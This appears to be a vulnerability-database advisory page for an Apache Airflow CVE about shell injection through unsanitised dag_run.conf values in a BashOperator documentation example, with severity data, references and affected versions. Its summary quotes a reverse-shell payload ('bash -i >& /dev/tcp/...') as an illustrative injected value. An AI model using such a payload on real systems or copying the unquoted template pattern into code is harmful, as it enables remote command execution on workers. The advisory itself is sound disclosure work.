CVE-2026-42252 (GCVE-0-2026-42252)
Vulnerability from cvelistv5 – Published: 2026-06-01 07:51 – Updated: 2026-06-02 16:43
VLAI
EPSS
VEX
Title
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Summary
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-02 16:05 UTC
CWE
- CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/apache/airflow/pull/64129 | patch |
| https://lists.apache.org/thread/8f4sc0rfn154jprmn… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Apache Software Foundation | Apache Airflow |
Affected:
3.0.0 , < 3.2.2
(semver)
|
guessed |
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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